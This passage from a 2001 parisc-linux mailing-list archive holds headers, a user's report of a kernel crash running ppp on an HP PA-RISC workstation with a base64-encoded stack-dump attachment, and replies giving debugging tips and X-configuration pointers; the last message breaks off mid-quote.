X-Trace: ger.gmane.org 1416620897 32276 80.91.229.3 (22 Nov 2014 01:48:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:17 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 29 09:30:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 21DA7482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Dec 2001 09:30:34 -0700 (MST)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.22 #5)
	id 16KMNT-0003HK-00
	for parisc-linux@lists.parisc-linux.org; Sat, 29 Dec 2001 17:30:31 +0100
Original-Received: from apm (helo=localhost)
	by r6.petescaff.com with local-esmtp (Exim 3.33 #1 (Debian))
	id 16KMNS-0004cB-00
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Dec 2001 17:30:30 +0100
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <16KKs9-1CicwSC@fwd05.sul.t-online.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13510

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---1463811328-658511863-1009643430=:17057
Content-Type: TEXT/PLAIN; charset=US-ASCII

I have a 712/80 which blows up when trying to use ppp with pptp.

I have grabbed the stack trace I get from my system blowing up but have
not managed to get ksymoops to interpret it at all. I have attached the
stack trace in case anyone can make any sense of it.

Does anyone have any ideas what else I could try?

# uname -a
Linux ducati 2.4.16-32 #1 Fri Dec 7 15:47:09 MST 2001 parisc unknown

various package versions (including depends).......

kernel-image-2.4.16-32	16.1    	(2.4.16-pa16 AFAIK)
ppp			2.4.1.uus-1	(also breaks with -3)
libc6			2.2.4-7
libpam0g		0.72-34
libpcap0		0.6.2-2
libpam-modules		0.72-34
netbase			4.07
procps			2.0.7-8


---1463811328-658511863-1009643430=:17057
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="minicom.cap"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.42.0112291730300.17057@r6.petescaff.com>
Content-Description: crash trace
Content-Disposition: attachment; filename="minicom.cap"

RHVtcGluZyBTdGFjayBmcm9tIDEwZmMwMDAwIHRvIDEwZmMwNjgwOg0KMDAw
MCAwMDAwMDAwMCAwMDAwMDA0MCAwMDAwMDAwMCAwMDAwMDAwMCAxMDJhNThh
NCAwMDAwMDAwMSAwMDAwMDAwMCBmZmZmZmZmZg0KMDAyMCAwMDAwMDAwNiAw
MDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMSBm
ZmZmZmZmZiAxMDg5NDAzYw0KMDA0MCAxMTk2ODAzYyAwMDAwM2VmZCAxMDMz
YzAwMCAxMDdjODAwMCAxMDA1MmNhMCAxMGZjMDA1NCAxMGZjMDA1NCAwMDAw
MDAwMA0KMDA2MCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAx
MiAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDE0Nw0KMDA4MCAw
MDAwMDAwMSAwMDAwMDAwMCAwMDAwMDAwMSAwMDAwMDE0NyAwMDAwMDAwMCAx
MDRiMDAwMCAxMDRiMDAwMCAwMDAwMDAwMA0KMDBhMCAwMDAwMDAwMCAwMDAw
MDAwMCAxMGZjMDBhOCAxMGZjMDBhOCAwMDAwMDAwMCAxMDJhNGQwOCAxMGZj
MDBiOCAxMGZjMDBiOA0KMDBjMCAxMDRiMDhkMCAwMDAwMDAwMCAwMDAwMDAw
MCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAw
MA0KMDBlMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAxMGZjMDAwMCAx
MDExZDJjYyAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMA0KMDEwMCAwMDAw
MDAwMCAwMDAwNDNkMyAwMDAwMDAwMCAwMDAwMDAyMSAwMDAwMDAwMCAwMDAw
MDAwMCAwMDAwMDAwMCAwMDAwMDAwMA0KMDEyMCAwMDAwMDAwMCAwMDAwMDAw
MCA4MDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAw
MCAwMDAwMDAwMA0KMDE0MCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAw
MDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMA0K
MDE2MCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAw
MDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMA0KMDE4MCAwMDAwMDAw
MCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAw
MCAwMDAwMDAwMCAwMDAwMDAwMA0KMDFhMCAwMDAwMDAwMCAwMDAwMDAwMCAw
MDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAw
MDAwMDAwMA0KMDFjMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAw
MDAwMCBmZmZmZmZmZiAwMDAwMDAwMCBmZmZmZmZmZiAwMDAwMDAwMA0KMDFl
MCAxMDJhNmFkMCBmZmZmZmZmZiBmZmZmZmZmZiBmZmZmZmZmZiBmZmZmZmZm
ZiBmZmZmZmZmZiBmZmZmZmZmZiAwMDgwMDAwMA0KMDIwMCAwNTAwMDAwMCAw
MDAwMDAwMCBmZmZmZmZmZiBmZmZmZmZmZiBmZmZmZmZmZiAwMDAwMDBmMSAw
MDAwMDBmMSAwMDAwMDQwMA0KMDIyMCAwMDAwMDQwMCBmZmZmZmZmZiBmZmZm
ZmZmZiBmZmZmZmZmZiBmZmZmZmZmZiBmZmZmZmZmZiBmZmZmZmZmZiAwMDAw
NmI2NQ0KMDI0MCA3NjY1NmU3NCA2NDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAw
MCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMA0KMDI2MCAw
MDAwMDAwMCAwMDAwMDAwMCAwOTAwZGVlZSAwMDAwMDAwMCAwMDAwMDAwMCAw
MDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMA0KMDI4MCAwMDAwMDAwMCAwMDAw
MDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAw
MDAwMCAwMDAwMDAwMA0KMDJhMCAwMDAwMDAwMCAwMDAwMDAwMCAxMDRiMDY0
MCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAw
MA0KMDJjMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAxMDdjODg3MCAx
MDEyNjg5MCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMA0KMDJlMCAwMDAw
MDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAw
MDAwMCAwMDAwMDAwMCAwMDAwMDAwMA0KMDMwMCAwMDAwMDAwMCAwMDAwMDAw
MCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAw
MCAwMDAwMDAwMA0KMDMyMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAw
MDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMA0K
MDM0MCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAw
MDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMA0KMDM2MCAwMDAwMDAw
MCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAw
MCAwMDAwMDAwMCAwMDAwMDAwMA0KMDM4MCAwMDAwMDAwMCAwMDAwMDAwMCAw
MDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAw
MDAwMDAwMA0KMDNhMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAw
MDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMA0KMDNj
MCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAw
MCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMA0KMDNlMCAwMDAwMDAwMCAw
MDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAw
MDAwMDAwMCAwMDAwMDAwMA0KMDQwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAw
MDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAw
MDAwMA0KMDQyMCAwMDAwMDAwMCAxMGZjMDUwMCAxMDEwNmMzNCAwMDAwMDAw
MCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMA0KMDQ0MCBm
ZmYwMDAwMCA0MDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAxMDRlMTIyMCAx
MDRlMjM4MCAxMDRhZjkwMCAwMDAwMDAwMA0KMDQ2MCAwMDAwMDAwMCAwMDAw
MDAwMCAxMGZjMDQ2NCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAw
MDAwMCAwMDAwMDAwMA0KMDQ4MCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAw
MCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAw
MA0KMDRhMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAw
MDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMA0KMDRjMCAwMDAw
MDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAw
MDAwMCAwMDAwMDAwMCAwMDAwMDAwMA0KMDRlMCAwMDAwMDAwMCAwMDAwMDAw
MCAwMDAwMDAwMCAxMDEwNmM0YyAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAw
MCAwMDAwMDAwMA0KMDUwMCAwOTAwZGVlZSAwMDAxMGJmZCAwMDAwMDAwOCAw
MDAwMDAwNCAwMDAxMTFlNCBmYWYwMDQ0MCAwMDAwMDAwMCAwMDAwMDM5MQ0K
MDUyMCAwMDA1MTgxOCAwMDAwMDAwYSAwMDAwMDAwMCAxMDEyNjhjMCAxMDhi
ODAwMCAxMDA1MmRhMCAwOTAwZGVlZSAwMDAwMDAwMA0KMDU0MCAwMDAwMDQw
MCAwMDAyZjgwMCAwMDAwMDAwMCAwMDA0MzhkNCAxMDhhNDYxMCAwMDAwMDAw
NiAxMDJhNTgxMCAxMDJhMjgxMA0KMDU2MCAxMDJhMjgxMCAxMDMzYjgxMCAx
MGZjMDAwMCAxMDhhNDAwMCAxMDA1MmNhMCAwMDAwMDAwMCAxMDdjODg3MCBm
YWYwMTRlMA0KMDU4MCAwMDA0NDVjZSAwMDAwMDAwNSAwMDA0NDRiZSAwMDAw
MDAwMCA0MDE3YjE5MCA0MDE3ODIyNCBmYWYwMDJkOCBmYWYwMDI4MA0KMDVh
MCBmZmZmZmZmNyAwMDAwMDAwMCAwMDAwMDAwMCAxMDEyNjRhMCAwMDAwMDAw
MCAwMDAwMDAwMSAwMDA0ZGIwMCAwMDAwMDAwMA0KMDVjMCAxMGZjMDAwMCAw
MDAwMDAwYiAxMDRlMTIyMCAwMDA0MzhkNCAxMDg4YzAwOSAwMDAwMDAwOCBm
Zjg4M2U2MCAxMDJhMjgxMA0KMDVlMCAxMTY0NzRhMCAwMDAwMDAwOSAwMDAw
MDAwOCAxMDEzYTBmNCAxMGZjMDU1MCBmYWYwMTRmMCBmYWYwMTRkMCBmYWYw
MTRlMA0KMDYwMCAxMDQ4NjJlMCAxMDRlMjM4MCAwMDAwMDAwMCAxMDJkZDIy
MCAxMDRlMjM4MCAwMDAwMDAwMCAxMDJkZDIyMCAxMDI2NzAwMA0KMDYyMCAx
MDdjODdhMCAxMDdjODc5MCAxMDJhNmMzYyAxMDEyMjg4MCAwMDAwMDAwOSAw
MDAwMDAwOCBmYWYwMjA2MCAwMDA0NDhkNA0KMDY0MCAxMDI2NzAwMCAxMGZj
MDAwMCAxMGZjMDAwMCAwMDAwMDAxNSAwMDAwMDAwMCAxMDJhNTAxMCAxMDI2
NzAwMCAxMDI2NzAwMA0KMDY2MCAxMGZjMDAwMCAxMDA1MjIyMCAwMDg0NjE1
YiAxMDExNjVmOCAwMDAwMDAxNSAwMDAwMDAwMCAxMGZjMDYwMCA0MDEwZmI1
Mw0KDQpLZXJuZWwgRmF1bHQ6IENvZGU9MjYgcmVncz0xMGZjMDY4MCAoQWRk
cj0wMDAwMDAyOCkNCg0KICAgICBZWnJ2V0VTVEhMTlhCQ1ZNY2JjYmNiY2JP
R0ZSUVBESQ0KUFNXOiAwMDAwMDAwMDAwMDAwMTAwMTExMTExMTEwMDAwMTEx
MSBOb3QgdGFpbnRlZA0KcjAwLTAzICAwMDAwMDAwMCAxMDJkNDgxMCAxMDEx
NjVmOCAxMDdjODAwMA0KcjA0LTA3ICAwMDBiOWU5YyAwMDAxMDAwMCAwMDAw
MDAwMCAwMDAwOTAwMA0KcjA4LTExICAwMDAwYTAwMCBmYWYwMDAwMCBmYWYw
MDAwMCAxMDA5MGZhYw0KcjEyLTE1ICBmYWYwYTAwMCAxMGZjMDAwMCAxMDhh
NDU3MCAxMDEyNjRkOA0KcjE2LTE5ICAxMGZjMDVjMCAwMDBiOWU5YyBmYWYw
MDVhMCAxMDM5NGU0MA0KcjIwLTIzICAxMDAyZjJhMCAxMDM5NGU1MCAxMTk2
NDg4MCAxMDM5NGU0MA0KcjI0LTI3ICAxMDM5NGU1MCAwMDAwMTAwMCAwMDAw
MDAwMCAxMDI5MjAxMA0KcjI4LTMxICAwMDAwMDAwMCAwMDAwMDAwMCAxMGZj
MDY4MCAxMDEzMWU1OA0Kc3IwLTMgICAwMDAwMDAwMCAwMDAwMDAwMCAwMDAw
MDAwMCAwMDAwMDA5Zg0Kc3I0LTcgICAwMDAwMDAwMCAwMDAwMDAwMCAwMDAw
MDAwMCAwMDAwMDAwMA0KDQpJQVNROiAwMDAwMDAwMCAwMDAwMDAwMCBJQU9R
OiAxMDExNjVmYyAxMDExNjYwMA0KIElJUjogNDhkMzAwNTAgICAgSVNSOiAw
MDAwMDAwMCAgSU9SOiAwMDAwMDAyOA0KIENQVTogICAgICAgIDAgICBDUjMw
OiAxMGZjMDAwMCBDUjMxOiAxMDM0MDAwMA0KIE9SSUdfUjI4OiAwMDBiOWU5
Yw0K
---1463811328-658511863-1009643430=:17057--



From - Thu Nov 08 21:20:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DSL on a 715/80 with rp-pppoe
Date: Sat, 29 Dec 2001 20:54:11 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <20011229205411.GA11344@sleepie.demon.co.uk>
References: <16JhbT-1jD9EmC@fwd05.sul.t-online.com> <20011228054723.01E59482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620897 32283 80.91.229.3 (22 Nov 2014 01:48:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:17 +0000 (UTC)
Cc: Hinrich Aue <H_Aue@t-online.de>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 29 13:52:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc3-hems4-0-cust105.bre.cable.ntl.com [213.107.179.105])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81519482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Dec 2001 13:52:02 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id C26B29E87E; Sat, 29 Dec 2001 20:54:11 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20011228054723.01E59482B@dsl2.external.hp.com>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13511

IIRC, when I first got ppp working on hppa, it would only work if
I created a dummy /sbin/hotplug, see

<http://lists.parisc-linux.org/hypermail/parisc-linux/6527.html>

Richard


On Thu, Dec 27, 2001 at 10:47:22PM -0700, Grant Grundler wrote:
> Hinrich Aue wrote:
> > I tried to install rp-pppoe on my 715/80, and it worked until one point, when
> > I try to start the pppd and the box crashes instantly.
> 
> I was running ppp over a regular 28.8Kbps dialup modem on the c3k.
> Haven't tried it recently.
> Can you tell me which kernel version (uname -a) you are using?
> offhand, I'd suggesting trying the latest available from
> 	ftp://ftp.parisc-linux.org/kernels/32
> 
> grant
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:20:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PARISC-Linux 0.9.3 on a 735
Date: Sat, 29 Dec 2001 21:11:32 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20011229211132.GB11344@sleepie.demon.co.uk>
References: <3C2C9C6E.D63903A7@cms-stl.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620897 32292 80.91.229.3 (22 Nov 2014 01:48:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Michael Madden <madden@cms-stl.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 29 14:09:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc3-hems4-0-cust105.bre.cable.ntl.com [213.107.179.105])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F1EB482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Dec 2001 14:09:22 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 4C6569E87E; Sat, 29 Dec 2001 21:11:32 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <3C2C9C6E.D63903A7@cms-stl.com>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13512

On Fri, Dec 28, 2001 at 10:23:10AM -0600, Michael Madden wrote:
> Hello;
> 
> I recently installed PARISC-Linux 0.9.3 on an older 735, and I'm having
> a heck of time to get X configured.  I have a HIL keyboard and mouse,
> but /usr/bin/X11/xf86config presents you with options for common
> pc setups (PS2 mouse, ATI video card, etc).  Is there a better way
> to setup X or is this even supported at this time?

Have you followed the advice in

<http://www.parisc-linux.org/release-0.9/errata-093.html>

Richard




From - Thu Nov 08 21:20:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DSL on a 715/80 with rp-pppoe
Date: Sat, 29 Dec 2001 14:31:47 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <20011229213147.EA050482A@dsl2.external.hp.com>
References: <20011228124334.96741.qmail@web21207.mail.yahoo.com> <20011229050103.54069482A@dsl2.external.hp.com>  <16KITV-0dMC0GC@fwd05.sul.t-online.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620898 32298 80.91.229.3 (22 Nov 2014 01:48:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:18 +0000 (UTC)
Cc: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
To: H_Aue@t-online.de (Hinrich Aue)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 29 14:31:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id EA050482A; Sat, 29 Dec 2001 14:31:47 -0700 (MST)
In-Reply-To: Message from H_Aue@t-online.de (Hinrich Aue) 
   of "Sat, 29 Dec 2001 13:23:44 +0100." <16KITV-0dMC0GC@fwd05.sul.t-online.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13513

Hinrich Aue wrote:
> Yes, I found no logging in syslog. I'm not used to kernel stuff, (2. 
> semester) but the stackdump looked familiar. And after all, it happens when I
> start pppd with async ppp. If I don't activate async ppp It don't crashes, 
> but it don't work.  That was a problem first when I tried to use DSL. After I 
> activated async ppp the machine crashes at the start of pppd.

Ok. That sounds similar.

> I also tried the latest CVS kernel Verison (pa27).
> I would like to dig in that stuff, but I don't know where to start and have 
> too little experience.

There must be some kernel beginners guid some place...perhaps this
is the start of one for parisc:
1) collect console output from a serial console. Or type in by hand
   panic/crash reason, GR02, IOAQ, and IIR registers for starters.
   Note machine model, PDC firmware rev too.

2) get "a.c" and "astk" from CVS
	http://cvs.parisc-linux.org/~checkout~/build-tools/

3) use "a" to lookup up symbols names in your matching System.map.
   Feed the stack dump to "astk" to get a rough idea of what was
   on the stack. parisc stack grows upward - higher addresses are the
   "top" of the stack - some of the addresses are residual junk.
   Look at the source code to see which functions are really being called.

4) keep notes!
   which kernel versionso, which symtoms, local changes you've made.

5) search the parisc-linux mail archive for "stack dump" or "trap 15"
   (or whatever the panic output is or kernel symbols associated
   with it).

6) post questions to parisc-linux when you get stuck.

hth,
grant



From - Thu Nov 08 21:20:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bheadley@interaccess.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PARISC-Linux 0.9.3 on a 735
Date: Sat, 29 Dec 2001 16:56:18 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <3C2E4A12.8090806@interaccess.com>
References: <3C2C9C6E.D63903A7@cms-stl.com> <20011229211132.GB11344@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620898 32302 80.91.229.3 (22 Nov 2014 01:48:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:18 +0000 (UTC)
To: Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 29 15:57:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cactus.bheadley.org (d52.focal4.interaccess.com [207.208.139.52])
	by dsl2.external.hp.com (Postfix) with ESMTP id 343A3482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Dec 2001 15:57:19 -0700 (MST)
Original-Received: from interaccess.com (IDENT:F0vzjI5C2YQrVmwyVBhCuBkvbQKYH2WY@localhost.localdomain [127.0.0.1])
	by cactus.bheadley.org (8.11.6/8.11.6) with ESMTP id fBTMuIg27119;
	Sat, 29 Dec 2001 16:56:23 -0600
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.7) Gecko/20011221
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13514

Richard Hirst wrote:

> On Fri, Dec 28, 2001 at 10:23:10AM -0600, Michael Madden wrote:
> 
>>Hello;
>>
>>I recently installed PARISC-Linux 0.9.3 on an older 735, and I'm having
>>a heck of time to get X configured.  I have a HIL keyboard and mouse,
>>but /usr/bin/X11/xf86config presents you with options for common
>>pc setups (PS2 mouse, ATI video card, etc).  Is there a better way
>>to setup X or is this even supported at this time?
>>
> 
> Have you followed the advice in
> 
